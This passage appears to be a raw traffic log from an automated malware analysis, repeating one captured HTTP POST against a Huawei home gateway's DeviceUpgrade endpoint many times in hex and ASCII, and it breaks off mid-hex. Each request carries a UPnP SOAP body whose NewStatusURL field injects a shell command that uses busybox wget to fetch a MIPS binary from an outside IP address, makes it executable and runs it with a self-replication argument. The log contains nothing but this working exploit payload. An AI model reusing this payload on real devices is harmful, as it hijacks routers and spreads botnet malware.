3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 